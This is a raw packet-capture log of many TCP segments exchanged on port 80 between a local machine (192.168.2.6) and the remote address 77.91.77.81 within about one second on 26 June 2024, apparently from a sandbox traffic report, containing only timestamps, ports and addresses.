Jun 26, 2024 08:16:43.758936882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.758946896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.758975983 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.758982897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.759017944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.759018898 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.759052992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.759073973 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.759130955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.792803049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.792855024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.792908907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.792943001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.792952061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.792952061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.792980909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793008089 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793008089 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793015957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793030977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793071985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793106079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793128014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793139935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793174028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793179035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793207884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793210030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793236971 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793245077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793272972 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793279886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793292999 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793313980 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793324947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793349981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793396950 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793401957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793435097 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793469906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793486118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793504953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793554068 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793560028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793673038 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793706894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793732882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793744087 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793802977 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793803930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793838978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793858051 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793874979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793908119 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793927908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793941975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.793966055 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793998957 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.793998957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794033051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794044971 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794068098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794102907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794122934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794143915 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794159889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794179916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794192076 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794214010 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794226885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794270992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794313908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794334888 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794338942 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794388056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794394016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794429064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794462919 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794477940 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794516087 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794523954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794550896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794570923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794584036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794596910 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794620991 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794656992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794667006 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794687986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794693947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794714928 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794728041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794763088 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794784069 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794814110 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794817924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794850111 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794883966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794910908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794918060 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794948101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.794951916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.794981003 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795003891 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795005083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795037985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795067072 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795090914 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795090914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795125961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795159101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795176029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795192957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795203924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795228958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795243979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795263052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795274973 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795296907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795324087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795332909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795350075 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795367002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795378923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795401096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795437098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795449018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795470953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795486927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795505047 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795525074 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795537949 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795550108 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795572996 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795595884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795607090 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795644045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795663118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795677900 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795701027 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795711994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795734882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795747042 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795758963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795795918 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795829058 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795864105 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795881033 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795897961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795917034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.795932055 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.795965910 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.796000957 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.796149969 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.818468094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818578005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818613052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818627119 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.818639040 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.818648100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818670034 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.818681955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818763018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.818768978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818804979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.818821907 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.818864107 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.844893932 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.844932079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.844985962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845004082 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845021963 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845053911 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845056057 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845077038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845089912 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845119953 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845145941 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845185041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845297098 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845355988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845407009 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845438957 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845443010 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845483065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845494986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845495939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845530033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845556974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845582008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845609903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845617056 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845643997 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845669031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845702887 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845737934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845763922 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845772028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845807076 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845808983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845841885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845841885 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845870018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.845875978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.845902920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.846009970 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883271933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883327961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883361101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883363008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883399010 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883428097 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883450031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883491039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883491993 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883517027 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883544922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883562088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883596897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883631945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883662939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883666039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883697033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883703947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883733988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883760929 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883760929 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883766890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883779049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883801937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883825064 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.883836985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.883862019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884166956 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884176016 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884322882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884352922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884388924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884408951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884438038 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884460926 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884464979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884507895 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884516954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884624004 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884625912 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884660006 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884712934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884728909 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884747982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884798050 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884855032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884905100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884957075 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.884967089 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.884989023 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885023117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885045052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885056019 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885092974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885113955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885122061 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885158062 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885190964 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885195017 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885246992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885273933 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885299921 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885333061 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885356903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885384083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885390043 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885418892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885453939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885487080 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885492086 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885520935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885524035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885572910 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885577917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885608912 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885662079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885689974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885715008 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885715008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885767937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885803938 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885842085 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885845900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885879993 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885885954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885920048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885921955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885953903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.885957956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.885992050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886018991 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886025906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886056900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886060953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886097908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886100054 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886126041 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886151075 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886182070 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886204004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886208057 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886236906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886270046 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886288881 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886303902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886310101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886327028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886337996 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886389017 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886420012 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886455059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886503935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886512041 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886539936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886568069 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886574030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886595964 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886626959 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886661053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886676073 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886694908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886718988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886729956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886765003 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.886781931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886781931 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.886799097 CEST	80	49731	77.91.77.81	192.168.2.6
